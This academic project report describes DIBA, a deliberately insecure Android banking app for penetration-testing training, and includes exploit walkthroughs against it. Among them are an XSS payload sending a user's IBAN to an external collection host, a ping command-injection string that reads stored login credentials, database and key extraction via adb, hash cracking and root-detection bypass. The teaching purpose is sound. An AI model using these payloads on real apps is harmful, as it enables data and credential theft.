Insecure Mobile Banking App for Penetration Testing Training

A project submitted for the in depth module Information Security
Master of Science in Engineering

by

Gregory Banfi
banfigre@students.zhaw.ch

Supervisor: Prof. Dr. Marc Rennhard
marc.rennhard@zhaw.ch

Institute of Applied Science
Zhaw - School of Engineering

September 2020

Abstract

We present the Damn Insecure Banking Application DIBA a mobile android banking application that was intentionally built with a lack of attention to security aspects. DIBA offers typical banking functionalities like make payments or investments, which are implemented using insecure techniques and insufficient complexity to keep attackers away. It provides a playground for android application penetration testing with 33 vulnerabilities that users can find and exploit. The application interacts with a backend server that also suffers from security flaws and allows to practice with network communication and authentication. Furthermore, there are vulnerabilities about insecure storage, cryptography, sessions management, brute-force on weak password and input validation. It was developed during the in-depth module IT security.

Table of Contents

1 Introduction

In this the project we implemented the second version of the banking application InBank [1]. We named the second version DIBA - Damn Insecure Banking Application [2]. A banking application was considered a good example because of the features it offers and the security requirements that it needs. The application offers banking functionalities such as make payments, investments or exchange messages with the bank employees.

The goal of the project is to offer a playground for android penetration testing with the focus on the security of android application development. The functionalities are intentionally implemented in an insecure way. The application offers 33 security flaws that users can find and exploit. We gave each vulnerability a difficulty rating from easy, medium or hard. They cover different security topics that developers encounter when developing a mobile application. Few vulnerabilities are insecure mechanisms on the server-side but most vulnerabilities are in the DIBA app. There are flaws regarding network communication, authentication mechanism, insecure storage, cryptography, session management, brute-force on weak passwords and input validation.

During the project we faced three main tasks. The first one was to update the previous version of the application and the server to the latest release available. After the update, all the already present vulnerabilities were review and adapted when needed. The second task was to find and design new vulnerabilities to be added to the second version. In addition to the research we performed into the android security resources and communities we looked at other applications used for android pentesting app training and vulnerability scanners and compared the vulnerabilities to find aspects that were not covered by the first version of the app, as output we designed and implemented 10 new vulnerabilities. The last task was to develop the DIBA exploit application which provides the functionality to exploit the vulnerabilities that require

more advance coding. The project includes the documentation, a separated document with all exploits writeups, the DIBA application, the DIBA Server and the DIBA exploit application. Both source code and compiled resources are available for the applications and server.

The document is structured like follows. In chapter 2 we present the result of the research for the related works. Chapter 3 describes the new vulnerabilities added in DIBA and their characteristics. Details about the server component are given in chapter 4. In chapter 5 we explain the changes required to adapt the previous application vulnerabilities to the new version. Conclusions are expressed in chapter 6.

Instructions for installing the applications and server are given in the appendix.

2 Related Works

In order to find new vulnerabilities for DIBA we compared the previous version to similar work with focus on android penetration testing. We considered other intentionally vulnerable applications, available resources from the internet, for example OWASP [3] and vulnerability scanners. The results of the analsys are presented below.

2.1 Intentionally Vulnerable Android Apps

2.1.1 Owasp MSTG

The Mobile Security Testing Guide (MSTG) [4] project started in 2018 with the goal to present in a clear guide how developers can satisfy security requirements when building mobile applications. It puts the focus on security development, testing and reverse engineering of Android and iOS application. The project includes the UnCrackable Apps, a collection of three mobile reverse engineering challenges. We took a look at the applications for the android operating system. An *apk* file is provided for each challenge and can be split in two main tasks. First, one must disable the lock on rooted devices, and second it must be found a way get a secret string stored in the application. From this project we found two challenges to add to DIBA.

- **Root Detection Bypass** Rooted devices are considered to be more at risk of being compromised because they give attackers access to all device and applications files and code. For this reason often application implements a rooted device detection mechanism.

- **Native Language Library** Compiled libraries from native code can be

decompiled and abused from attackers to change the behavior of the application or read secret values.

2.1.2 MSTG Hacking Playground

The MSTG Playground [5] is a collection of mobile applications that intentionally implements iOS and Android mobile vulnerabilities. The implementations are practical examples of the security requirements presented in OWASP Mobile Application Security Verification Standard [6], and they give an understanding of the issues that arise when the security requirements are not satisfied. They cover a wide range of problems from storage, communication, database, authentication, logging, input validation, and also more Android specific vulnerability like the shared preferences file of android applications.
We found interesting the following vulnerabilities

- **SQLite Database** Files used from database manager systems on mobile devices can be read from attacker with rooted devices.

- **Encrypted SQLite Database** Encrypted databases are not secure is the encryption key is store in the device.

- **Memory Dump** Secrets that are not hardcoded in the application, but loaded in the runtime memory of an application can be extracted with a memory dump.

- **Code Injection** Attackers can change the path to a dynamic library so that the application loads the attacker's library instead of the original.

2.1.3 PIVAA

Purposefully Insecure and Vulnerable Android Application [7] is a vulnerable application published by the HTBridge [8] security company, PIVAA is released under GNU General Public License v3.0. It is the updated version of DIVA [9], a previous public vulnerable application. The app is meant to be used as benchmark for vulnerability scanners.
New vulnerabilities

- **JS enabled in a WebView** Allowing JavaScript content to be executed within the *WebView* might let an attacker to execute malicious code.

- **Object deserialization found** Attackers can execute malicious code with setting a pointer to a function in one of the fields of the deserialized object.

2.2 Other resources

2.2.1 OWASP Mobile Top 10

The Owasp list was updated last time in year 2016. The current state didn't change since then. Since the previous version of DIBA already covers the vulnerabilities presented in the list and the list didn't change we didn't find any new vulnerability to add.

2.2.2 QARK

Quick Android Review Kit [10] is a vulnerability scanner for android application packages published from LinkedIn. The project is hosted on github, the scanner detects vulnerabilities about outdated API usage, intents usage, webview usage and known activity bad practices, the presence of sensible information in the source code, and tapjacking.

- **Tapjacking** Tapjacking indicates the technique of using an overlay screen to trick the user to tap on the display. Instead of pushing the expected button the user presses an invisible button placed by the attacker.

2.3 Summary

During this phase we analyzed public available vulnerable android applications. The goal was to find new vulnerabilities that are not implemented in the previous version of DIBA. After having looked at the resources from above we planned to add the following vulnerabilities. The order reflects the order in which they will be implemented, from the one that we considered most relevant because fills a missing vulnerability category in DIBA app to the ones

considered less relevant or more complex. Given the goal of publishing a stable and complete vulnerable android app, the more advanced vulnerabilities are left at the bottom of the list.

1. **SQLite Database**
2. **Native Language Library**
3. **Encrypted SQLite Database**
4. **WebView Cross-Site Scripting**
5. **Cracking Weak Password**
6. **Root Detection Bypass**
7. **Local Command Injection**
8. **Two-Factor Authentication**
9. **Code Injection**
10. **Memory Dump**
11. **Tapjacking**
12. **Object deserialization found**
13. **Application API**

3 Vulnerability Design

In this chapter we present the new vulnerabilities and how they were implemented in the context of DIBA banking-app. Every section provides information about the vulnerable app component, such as Activity, a description of the weakness and how it can happen when developing mobile applications. Further, we explain how to exploit the vulnerability and how to prevent it.

3.1 SQLite Database

3.1.1 Description

Often developers use local databases as cache memory for data that is usually requested multiple times from the client app. It is important to consider that unencrypted data in local databases can be seen from anyone that has physical access to the device and developers must not store sensible information in there.

Attacker: device owner or holder

How Could This Happen
It can happen that for convenience or testing reasons developers also save sensible information. When the mechanism is not changed before release the application and the data is not removed, the application will suffer from this vulnerability.

Exploit Prevention
Never store sensible information locally. If really necessary, use encrypted databases and store cryptographic keys externally from the device.

3.1.2 Design

Basic Information

The DIBA app uses a local database to store user investments. The database is not encrypted and an attacker that has access to the device can get the database file and read the data it with a sql tool.

Exploit

1. The investment database is created once the user made some investments. The first step is to get access to a device with DIBA app installed and the investment feature unblocked. Once the database is created and there are some historical investments.

2. Connect to device shell
   `adb shell`

3. Get root privileges
   `su`

4. Go to databases
   `cd /data/data/ch.zhaw.securitylab.DIBA/databases`

5. Connect to investment database
   `sqlite3 investment`

6. Get the tables names from the db metadata
   `SELECT * FROM sqlite_master;`

7. Read investments history
   `SELECT * FROM investment;`

8. The same can be done to read the messages database.

3.2 Native Language Library

3.2.1 Description

The Java Native Interface allows android developers to use native language library to include already implemented functions in the application. Often these libraries are shared object (.so) written in C or C++ and do low-level computations. It is important that the library does not contain any sensible information, even if the library is compiled an attacker can decompile it and find the secrets.

Attacker: device owner or holder

How Could This Happen
Developers can use compiled library to satisfy security requirements (cryptographic functions) without realizing that once attackers gain access to the device the libraries can be decompiled and secrets or values as initialization vectors are exposed.

Exploit Prevention
Developers must always remember that everything (even compiled files) on the device is visible by someone with access to the device and subject to attacks with decompilation and strings extraction. Also, security mechanism, like authentication must not be implemented locally. Consider an external component to store secrets and implement the security logic.

3.2.2 Design

Basic Information
After having read the messages and investments database we notice that the payments database is encrypted. In the code that initialized the database there is a native function called *loadsecret*. The native library contains the secret key used to encrypt the payments database. We can extract the strings in the library or analyze the assembly code with tools such as *rabin2* or *strings* or *r2* and extract the key and finally decrypt the databse.

Exploit

1. Get InbBank package name
   `adb shell pm list packages -f | grep DIBA`

2. Extract *apk* file from device.
   `adb pull data/app/ch.zhaw.securitylab.`
   `DIBA-hFwJYqU2bii_Aptip0S0jw==/base.apk DIBAStolen.apk`

3. Decompile *apk*.
   `jadx DIBAStolen.apk -d DIBADecompiled`

4. Find where the payment database is created.
   `find .  -type f -exec grep -i payments {} +`

5. Detect *loadsecret()* native function in DIBA.java and get native library name
   System.loadLibrary("native-lib");

6. Locate native library
   `find .  -type f -name "*.so"`

7. Extract strings from shared object.
   `strings resources/lib/x86/libnative-lib.so`

8. Read the secret key `n4t1v3sArEnT1nv1s1bl3` from the output.

The string can be extracted in different ways depending on the needs. In this case since it is easy to recognize the key the *strings* command is enough. More sophisticated tools to analyze binary files are *rabin2* and *radare2*.

3.3 Encrypted SQLite Database

3.3.1 Description

Given that SQLite are readable from anyone that has access to the device. When developers must store sensible data locally they often use encrypted databases. This method is only secure as far as the key used to encrypt the

database is not store anywhere on the device.

Attacker: device owner or holder

How Could This Happen
It possible that developers used encrypted database to store sensible data. They could think that store the encryption key in a hidden/compiled file as a native library is secure. This is never true because secrets, especially strings can be easily extracted even from compiled files. Further, attackers can decompile the application code and abuse the call to the compiled file to retrieve the secret from the library.

Exploit Prevention
Never store sensible information locally. If really necessary, use encrypted databases and store cryptographic keys externally from the device.

3.3.2 Design

Basic Information
The DIBA app uses a local database to store user payments. Since the payments details are considered sensible data the database is encrypted. This method is secure only if the secret key is not store in the device. The code that load the database uses a native library to load the secret key, this suggests that the key is stored locally and can be found on the device.

Exploit

1. Once got the secret key from the *Native Library* vulnerability we can decrypt the payment database and read the content.

2. Copy payment database file
   `adb shell "run-as ch.zhaw.securitylab.DIBA cat databases/payments" > payments.db`

3. Get SQLcipher. This is needed as interface to the encrypted file, otherwise we can not read the data in the database with normal *sqlite3*.
   `git clone https://github.com/sqlcipher/sqlcipher.git`

4. Connect to payment database sqlcipher
   `./sqlcipher/sqlcipher payments.db`

5. Set the pragma key found in the native library.
   `PRAGMA KEY = 'n4t1v3sArEnT1nv1s1bl3';`

6. Get the tables names from the db metadata
   `SELECT * FROM sqlite_master;`

7. Read payments table
   `SELECT * FROM payment;`

3.4 WebView XSS

3.4.1 Description

WebView objects allow to load web content inside an application activity. Further, one can enable the execution of *javascript* code in the view for having more control over the page, but at the same time he gives an attack vector to malicious users. The fact that web developers can display html inside the app and control it with *javascript* exposed the application to web vulnerabilities like cross-site scripting.

Attacker: users with access to the *WebView*

How Could This Happen
Developers may need to display web pages to users and to control better the layout and the content. They can enable the execution of *javascript* without thinking that they are giving attackers a way to interact with the application and may abuse the functionality.

Exploit Prevention
It is not recommended to load web content inside mobile applications. If, of absolute importance for the application, don't allow the execution of *javascript* or implement all necessary prevention mechanisms for web attacks, for example input sanitization and validation.

3.4.2 Design

Basic Information
The DIBA application asks new customers to take part to a survey about the recent experience with the customer-service. The survey is available online and when accessed from within the app a *WebView* is used to display the survey. There is a *textfield* to insert comments that does not perform any check on the user input and allows attackers to inject html and javascript code that will be executed.

Exploit

1. Create a new account in the DIBA app.

2. Insert a comment that execute *javascript* code and send the personal IBAN value displayed in the page to the attacker server.
```
<script>
new Image().src = encodeURI('https://postb.in/
1589184632761-8206421809736?iban='+
document.getElementById('iban').text);
</script>
```

3. https://postb.in is a public available service for testing API calls. In our case we can send sensible data, like the IBAN from other users.

3.5 Cracking Weak Password

3.5.1 Description

Usually, passwords are not stored in clear but instead the hashed values of secret is used, the reason behind this is to prevent the exposure of sensible information to attackers that gain access to the password database or file. When the secret is not hard enough attackers can run a brute-force attack and recover the original secret from the hash value.

Attacker: device owner or anyone that gets the password hashes.

How Could This Happen

It is possible that developers consider secure saving the hashed value of a secret instead of the real value. This is true only with the use of strong secrets and hashing algorithms.

Exploit Prevention

Always ensure that passwords are generated following the strong password policy, for example in length and variety of symbols.

3.5.2 Design

Basic Information

The DIBA app offers to real-time data from the stock market. Users must pay a subscription, after they received a code that allows the access to the functionality. The code is not visible but the hashed value is stored locally in the string.xml file of the application. The function is considered secure, but the secret is not hard enough and a brute-foce attack can recover the original password.

Exploit

1. Get the hash and the salt values from the strings.xml file.
2. https://www.liavaag.org/English/SHA-Generator/
3. value: L0ngS4LtNoS3cure
4. hash: 1659b8868ebe5fa530e63330e28bf35d15879e42b3b0fe550f39a58a24132f67
5. Create a file hash.txt for *john the ripper* that contains the salt and hash value column separated.
   `L0ngS4Lt:1659b8868ebe5fa530e63330e28bf35d15879e42b3b0fe550f39a58a24132f67`
6. `john -incremental=alnum -format=Raw-SHA256 -fork=2 hash.txt`
7. After few hours you should get the secret *NoS3cure*

3.6 Root Detection Bypass

3.6.1 Description

To prevent abuse of the application often developers implement a mechanism that detects if the device is rooted, in that case the application changes behavior. The functions are usually implemented in the application code and attackers that have access to the device can decompile the code and remove the detection mechanism.

Attacker: device owner or holder

How Could This Happen
This is not a real vulnerability, but it shows how easy is for attackers to bypass root detection mechanism.

Exploit Prevention
There is no way to prevent that attackers have access to devices, it can be the legit mobile phone of the attacker that is used against the app. Developers must ensure that no sensible information about the security mechanisms is exposed, even in the case the attacker has physical access to the device.

3.6.2 Design

Basic Information
When the activity is launch there is a function that checks for any signs of rooted device.

Exploit

1. Get InbBank package name
   `adb shell pm list packages -f | grep DIBA`

2. Extract *apk* file from device.
   `adb pull data/app/ch.zhaw.securitylab.`
   `DIBA-hFwJYqU2bii_Aptip0S0jw==/base.apk DIBAStolen.apk`

3. Decompile the application.
   `apktool d DIBA.apk -o DIBA_deco`

4. Check for files that contain "rootdetection"
   `find .  -type f -exec grep -i rootdetection {} +`

5. Open file with root detection mechanism.
   `DIBAdeco/smali/ch/zhaw/securitylab/DIBA/activity/unauth/ActivityLanding.smali`
   and modify the condition that triggers the detection. We can recognize the detection mechanism in the function code (line 208) we can replace. `if-nez` with `if-eqz`.

6. Check that the `AndroidManifest.xml` value `android:testOnly` is set to false.

7. Compile the application with the new code.
   `apktool b DIBA_deco -o malicious_DIBA.apk`

8. Self-sign the new application.
   `java -jar  /Downloads/sign-master/target/sign-0.0.1-SNAPSHOT.jar maliciousDIBA.apk`

9. Install the new signed version on the device.
   `adb install malicious_DIBA.s.apk`

10. Launch the application, if it worked when opening the landing page the root detection mechanism will not be showed, even if the settings say that root detection is enable.

3.7 Local Command Injection

3.7.1 Description

The Android os allows to execute shell commands from Java. The features is very useful when developers have to work with system files and environmental variables. In the case the command takes an input argument from the user it is important to validate and sanitize the provided input such that the behavior

of the command does not change and is not abused to do unexpected malicious things.

Attacker: device owner or holder

How Could This Happen
On one hand developers can forget to remove the functions after testing and doing so they open an attack vector for attackers. On the other hand local commands are sometimes needed and during the implementation developers can provide the function without the necessary input sanitization. This will allow attacker to inject commands on will be executed with the app privileges.

Exploit Prevention
After testing and before the realise all unused functions must be remove and functions that takes user inputs must implement sanitization of the input before the execute the code.

3.7.2 Design

Basic Information
The application allows users to ping the API server to test the connectivity. The server IP value is read from an input field defined in the meta-settings of the application and users can update the value of the field. This allows the users to replace the IP value and insert arbitrary strings that will be then executed as argument of the *ping* command.

Exploit

1. Open the meta-settings activity where the IP of the server is defined.

2. Append to the IP value the string
   `&& cat /data/data/ch.zhaw.securitylab.DIBA/shared_prefs/loginPreferences.xml`

3. The double ampersand allows the execution of multiple commands.

4. When the *ping* command is executed the output is printed to the logs, after the *ping* output there is the output of the *cat* command and we can read the login credentials stored in the file.

3.8 2-factor Authentication

3.8.1 Description

Users that submit a payment have to authenticate with a second factor to prevent misuse of actions that include sensible data. In DIBA app before the payment is accepted the user must insert a one-time code that is sent to the user's mobile phone as sms.

Attacker: anyone with the application and valid credentials.

How Could This Happen
It is possible that when implementing a sms 2-factor authentication mechanism one consider secure the fact that only valid phone owners will get the code. It must be anyway guaranteed that the generation of the code contains enough randomness so that is guessable.

Exploit Prevention
Follow the best practice for generating one-time codes. Always ensure that the code format does not release information nor is guessable. The code must be valid for a short period of time and then make sure they are expired.

3.8.2 Design

Basic Information
The code included in the sms is valid for a period of 5 minutes and then a new code is generated. This suggests that the code is time dependent, moreover there is an hint on the display that gives an idea about how it is generated.

Exploit
Take the hash of the current datetime with interval of 5 minutes and just use the first 6 chars for the authentication code. For example, at 11:36 the one-time code would consider the first 4 chars of the value SHA256(11:30).

3.9 Code Injection

3.9.1 Description

Android allows applications to dynamically load *jar* files at runtime. This is specially dangerous when the files are store in the external storage of the device, an attacker can exchange the files with his version and inject malicious code in the application workflow.

Attacker: device owner or holder

How Could This Happen
Dynamic library are often useful to run functions that are not at the core of the application. Developers implement them separately and load them when necessary at runtime.

Exploit Prevention
Developers must use checksums to verify that the loaded code is the expected and not a malicious or altered version.

3.9.2 Design

Basic Information
DIBA users that get the investment package are capable of invest money in the stock market. This include submit buy and sell orders. These functionalities are implemented in the *.jar* file saved in the external storage.

Exploit

1. Decompile *.jar* file.
2. Change the code of the buy order to also send money to the attacker account.
3. Compile and install the application with the malicious *.jar*

4. Every time the user will submit a buy order the application will also send money to the attacker.

3.10 Memory Dump

3.10.1 Description

Even when sensible information is securely stored for example, with encryption. It is important to consider that when the application decrypts the secret and uses it, the secret is loaded into the memory heap of the application and an attacker that has access to the device can dump the memory and read the clear value.

Attacker: device owner or holder

How Could This Happen
Developers can consider secure to store secrets outside the application and device. But still pass secrets to the application for security checks or comparison without thinking that once the secret is loaded in the application memory it is exposed to attackers. Developers must make the possible to avoid the implementation of security mechanisms on the device, so that even if an attacker is able to read the runtime memory he can not read secrets.

Exploit Prevention
Never loads secrets in the application memory, all checks and security mechanism must be implemented in an external component. If available, perform security checks and comparisons on the server-side and send only the result to the application.

3.10.2 Design

Basic Information
Even if the secret is not stored locally the server sends it to the application for comparison. Once the secret is loaded in the application code it is possible to take a memory dump and read the code.

Exploit

Run the app until it loads the secret in memory then take a memory dump and look up the secret.

3.11 Extra

3.11.1 Tapjacking

Tapjacking indicates the technique of using overlay screens to trick the user to tap on the displayed button when in reality he is pushing also some button under the overylay screen. This can be used by an attacker to make the user change device settings and open further vulnerabilities.

3.11.2 Object Deserialization

Activitie can interact using Intents, which carry the payload to the destination activity. Complex data types must be serialized by the sender and then deserialized by the recipient. An attacker could be able to add arbitrary fields to the serialized objects, once the receiver deserializes his expected data automatically all other fields are called. If the attacker can set a field to a pointer to a function he can execute code that was not supposed to be executed.

3.11.3 Application API

- A developer adds a debugging function to DIBA so he can check some internal state of the app when testing it (by using another debugging app on the device).
- This uses a scheme DIBA-debug://getinfo?file=filename
- The filename points to the file of which internal info should be received (could be one of the shared prefs, but can also be anything else that would be valuable for the attacker)
- As a result, the app either opens an activity that displays the info or sends a response to another URL-shcme that is used by the debugging app of the developer

- Why ist this reasonable: Shows that such a debugging functionality cannot be hidden (the attacker will learn about it when analysing the apk), that it’s dangerous to forget to remove such debugging stuff. Also, the vulnerability can be abused by any other app on the device

4 Server

The server is implemented in Java and it is the updated version of the server used in InBank release v1.4. Below a list of the main changes on the server-side between the two versions.

Changes on the server

- Server compoment implemented with Javalin web framework [11]. Updated from version 1.3.0 to 3.9.1.
- Added HyperSQL [12] database on the server for persistent storage capability.
- Implemented json API with the HTTP CRUD format to follow the standard for the communication between application and backend.
- Added 2-factor authentication for payments. In the real world 2-factor authentication is now a minimum requirement for any actions that manages money and access to banking functionalities so we decide to simulate the mechanism also in the app.

4.1 Storage

The server uses HSQLDB [12] sql database. It allows persistent storage of users data in the local file system. The datebase files are located in the root folder of the *DIBAServer/* under the directory *db/*. The database contains tables for:

- **Comment** contains user comments from the survey page. A comment has a text value.
- **User** contains user accounts details. An user has a email, password.
- **Investment** contains user investments details. An investment has an owner, date, amount, currency, and amountSFr.
- **Payment** contains user payments details. A payment has an owner, target, amount, currency, and amountSFr.
- **Message** contains user messages. A message has an owner, date, message, and viewType.

4.2 Rest API

Interaction with the server follow the HTTP protocol and exchange data using the json format.

4.2.1 GET REQUESTS

- **/balance** GET, 200
  Response:

```
{"string":"1005.0"}
```

  User account balance.

- **/payments** GET, 200
  Response:

```
{"list":[
   {"owner":"gregg@gmail.com",
   "target":"mike@mail.com",
   "amount":200,"amountSFr":200,"currency":"SFr"},
   {"owner":"gregg@gmail.com",
   "target":"claudia@mail.com",
   "amount":23,"amountSFr":23,"currency":"SFr"}]}
```

List of past user payments. Include owner, target, currency, amount and swiss Francs value details.

- **/investments** GET, 200
  Response:

```
{"list":[{
    "owner":"greg@gmail.com",
    "date":1594063188339,
    "amount":"100","amountSFr":"100","currency":"SFr"},
    {"owner":"greg@gmail.com",
    "date":1594063293482,
    "amount":"200","amountSFr":"200","currency":"SFr"},
    {"owner":"greg@gmail.com",
    "date":1594063308739,
    "amount":"120","amountSFr":"210.00","currency":"
       Pounds"},
    {"owner":"greg@gmail.com",
    "date":1594063315765,
    "amount":"5","amountSFr":"7.5","currency":"Eur"}]}
```

List of past user investments. Includes owner, date, currency, amount and swiss Francs value details.

- **/messages** GET, 200
  Response:

```
{"list":[{
"message":"Greetings User\n\nWe are happy, that you try
   to hack our app.\nIf you need help, send the message
   'hint' to the server\n\nBest Regards\nThe DIBA
   developer team",
"creationTime":1594063174455,"viewType":2},
{"message":"'I can assure you that if I had, as your ill-
   assumed street patois has it, \"dropped you in it\"
   you would fully understand all meanings of \"drop\"
   and have an unenviable knowledge of \"it\"'.\n Making
    Money, Terry Pratchett",
"creationTime":1594063778351,"viewType":2}]}
```

List of user messages. Includes message text, creation time and the view type details.

- **/survey** GET, 200
  Response:

```
<html>...</html>
```

Details of the message.

4.2.2 POST REQUESTS

- **/login** POST, 200
  Data:

```
{"password":"grego","email":"greg\%40gmail.com"}
```

Response:

```
{"string": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3
    MiOiJJbkJhbmsiLCJ1c2VyIjoiZ3JlZ0BnbWFpbC5jb20ifQ.
    cuIzgIDxC-3-hsxfMJun-i5uwxaEx7nMT4WSmbKkBdE"}
```

User json web-token.

- **/register** POST, 200
  Data:

```
{"password":"grego","email":"greg\%40gmail.com"}
```

Response:

```
{"string": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3
    MiOiJJbkJhbmsiLCJ1c2VyIjoiZ3JlZ0BnbWFpbC5jb20ifQ.
    cuIzgIDxC-3-hsxfMJun-i5uwxaEx7nMT4WSmbKkBdE"}
```

User json web-token.

- **/payments** POST, 200
  Data:

```
{"owner":"gregg@gmail.com",
"amount":"23",
"currency":"SFr","amountSFr":"23",
"target":"claudia@mail.com"}
```

Response:

```
{"string":"payment worked"}
```

Details of the payment.

- **/investments** POST, 200
  Data:

```
{"owner":"greg@gmail.com",
"date":"1594063188339",
"amount":"100",
"currency":"SFr","amountSFr":"100"}
```

Response:

```
{"string":"invest worked"}
```

Details of the investment.

- **/messages** POST, 200
  Data:

```
{"owner":"greg@gmail.com",
"date":"1594063989866",
"viewType":"1",
"message":"Hi there!"}
```

Response:

```
{"string":"message added"}
```

Details of the message.

- **/comment** POST, 200

- **/key** POST, 200
- **/report** POST, 200

5 Vulnerability Review

In this chapter we expose the review of the old vulnerabilities. There were vulnerabilities that are not exploitable anymore given that changes in the android API. Those that can be adapted were kept, while those that couldn't work in any way were removed. We go through all old vulnerabilities and describe here the current status.

Below the main changes that have been done in the application-side.

Changes on the application

- Added new vulnerabilities and checked the functionality of the old ones. Every year new vulnerabilities are discovered and old ones are fixed and don't expose the attack vector anymore. This was done to bring the application to an up-to-date status, implemented the most new mobile phone vulnerabilities and removed the ones that are not anymore a threat.

- Added local encrypted DB for sensible data. To show new vulnerabilities that can result from implementing secure components in a insecure way.

- Updated Android API from version 27 to 29. Minimun API requirement was 16 and is now 19.

- Implemented HTTP requests/responses manager for the server API. The application code should be adapted to use the new backend API.

5.1 With problems

5.1.1 Vulnerability 1: Network Communication

No changes needed.
Get the list of keystore aliases
`keytool -list -keystore Documents/vt2/DIBAServer/keystore/keystore`
Not working for difficulty hard and almost secure
`mitmweb -cert *=Documents/vt2/DIBAServer/keystore/public.cert -ssl-insecure`

5.2 Without problems

5.2.1 Vulnerability 2: Hardcoding I - Pay Wall

The secret code for VIP access is still stored in res/values/strings.xml and still visible for anyone that decompiles the application apk.

5.2.2 Vulnerability 3: Hardcoding II - Remember Me

The credentials for remember-me access are still stored on the device in data/-data/ch.zhaw.securitylab.DIBA/shared_prefs/loginPreferences.xml. The values in the file are encrypted and the methods encrypt(string) and decrypt(string) work exactly as before.

5.2.3 Vulnerability 4: SQL Injection in Messages

SQL-injection in the search textfield of messages. It works as before, tested with ' or 1=1 – .

5.2.4 Vulnerability 5: Clipboard Danger

No changes needed.

5.2.5 Vulnerability 6: Default Exported Content Provider

Updated DIBA Manifest permissions under the content provider element.

- android:exported="true"
- android:readPermission="ch.zhaw.securitylab.DIBA.permission.READ"
- android:grantUriPermissions="true"

Also, notice attacker app must declare in the Manifest

- <uses-permission android:name="ch.zhaw.securitylab.DIBA.permission.READ" />

5.2.6 Vulnerability 7: Intent Redirection

No changes needed. Update pkgs name and permissions. Inbank -> DIBA

5.2.7 Vulnerability 8: Logging Sensitive Information

No changes needed.

5.2.8 Vulnerability 9: Aliases Export Activities

No changes needed.

5.2.9 Vulnerability 10: Directory Traversal I - Load a Payslip

No changes needed.

5.2.10 Vulnerability 11: Directory Traversal II - Save a Payslip

No changes needed.

5.2.11 Vulnerability 12: Save on SD-Card

No changes needed.

5.2.12 Vulnerability 13: Weak Report Encryption

Must updated the method check for "bug". Small hack required because renaming of compiled methods. Also, the vulnerability uses the external storage, this capability will soon disappear. Application will handle storage with the Storage Access Framework. Works but the report is not visible in the emulator sdcard folder, only from adb shell /storage/emulated/0 and /sdcard/.

5.2.13 Vulnerability 14: Login Mimic

No changes needed.

5.2.14 Vulnerability 15: Recently Used Apps

No changes needed.

5.2.15 Vulnerability 17: Back Button Log Clearing

No changes needed.

5.2.16 Vulnerability 18: Input Validation in Make Payment Activity

No changes needed.

5.2.17 Vulnerability 19: Developer Entrance

No changes needed.

5.2.18 Vulnerability 20: App Backup

No changes needed.

5.2.19 Vulnerability 21: Fragment Injection

No changes neeeded. Command
adb shell am start -n
"ch.zhaw.securitylab.DIBA.activity.unauth.ActivityCredentials" -e credentials_fragment
ch.zhaw.securitylab.DIBA.activity.unauth.FragmentChange

Added to the manifest

<activity
android:name="ch.zhaw.securitylab.DIBA.activity.unauth.FragmentChange"
android:parentActivityName="ch.zhaw.securitylab.DIBA.activity.unauth.ActivityLanding"
android:theme="@style/AppTheme.NoActionBar" />

5.2.20 Vulnerability 22: Insecure Services

No changes needed. Updated InbankExploit pkgs reference. Inbank -> DIBA

5.2.21 Vulnerability.23 Weak JWT HMAC Password

No changes needed.

5.2.22 Vulnerability 24: Exploiting Saved Foreign Login Credentials

No changes needed.

6 Conclusion

References

[1] B. Heusser and S. Niederer, “Insecure Banking - InBank,” https://github.zhaw.ch/InsecureBanking/InBank.

[2] G. Banfi, “Damn Insecure Banking Application - DIBA,” https://github.zhaw.ch/Security/DIBA.

[3] Owasp, “Open Web Application Security Project,” https://owasp.org/.

[4] ——, “The Mobile Security Testing Guide (MSTG),” https://github.com/OWASP/owasp-mstg.

[5] ——, “MSTG Hacking Playground,” https://github.com/OWASP/MSTG-Hacking-Playground.

[6] ——, “OWASP Mobile Application Security Verification Standard,” https://github.com/OWASP/owasp-masvs.

[7] htbridge, “Purposefully Insecure and Vulnerable Android Application - PIVAA,” https://github.com/htbridge/pivaa.

[8] ——, “HTBridge Security Company,” https://www.immuniweb.com/.

[9] Payatu, “DIVA - Damn Insecure and Vulnerable App,” https://github.com/payatu/diva-android.

[10] LinkedIn, “Quick Android Review Kit,” https://github.com/linkedin/qark.

[11] D. Tipsy, “A simple web framework for Java and Kotlin,” https://javalin.io/.

[12] T. H. D. Group, “HSQLDB - 100% Java Database,” https://hsqldb.org.

7 Appendix

7.1 Installation Instructions

- Get apk files for DIBA_app and DIBA_exploit
- Get jar file for server
- Start everything

7.2 Project Thesis - Tasks Description

Zürcher Hochschule
für Angewandte Wissenschaften

School of
Engineering

InIT Institut für angewandte
Informationstechnologie

MASTER OF SCIENCE
IN ENGINEERING

Project Thesis 2

Student:	Gregory Banfi	Supervisor:	Prof. Dr. Marc Rennhard
Partner company:	-	Advisor:	Prof. Dr. Hans-Peter Hutter

Start:	16. March 2020	Credits:	15 ECTS (450 h)
End:	30. September 2020		

Insecure Mobile Banking App for Penetration Testing Training

Introduction and Motivation

A while ago, an insecure mobile banking app (currently named *InBank* for Insecure Banking) for penetration testing training was developed in a bachelor thesis at ZHAW. The app consists of a server component and a client-side Android app and provides a realistic mobile banking setting. The app is used internally in a teaching module, but it was always intended to release the app to the public.

The goals of this thesis are to further extend and improve the InBank app, to make sure it can easily be maintained in the future, and to release it.

Task

In this project thesis, the following steps must be carried out:

1. Analyze the current version of the InBank app – both the client- and the server-side – so that you understand in detail its internal working and the vulnerabilities.
2. Check whether novel deliberately insecure mobile apps have appeared since InBank was developed. If yes, analyze them in detail to get good ideas that could be used in this project.
3. Analyze the state of the art with respect to vulnerabilities in mobile (Android) apps. This serves as an important basis for the next step.
4. Design the additional vulnerabilities that you want to include in the app. These vulnerabilities should cover further aspects than the ones that are already included. Make sure that the newly added vulnerabilities reflect realistic scenarios that fit «naturally» into a mobile banking setting. Besides client-side vulnerabilities, it may also be reasonable to include some server-side vulnerabilities (to be determined). Also, make sure that the vulnerabilities are independent of the used Android version wherever possible.
5. Extend the app to incorporate the newly designed additional vulnerabilities. At the same time, improve the app and the server-side in general wherever this is reasonable. E.g.,

make sure that the RESTful API provided by the server component follows typical REST standards.

6. Adapt the app further where needed to make sure it can easily be used, configured and extended in the future. Also, make sure the app can easily be used on physical devices and in a virtual machine (e.g., VirtualBox).
7. Test the app in detail to make sure all vulnerabilities truly work as intended and to make sure the overall quality is good enough for a public release.
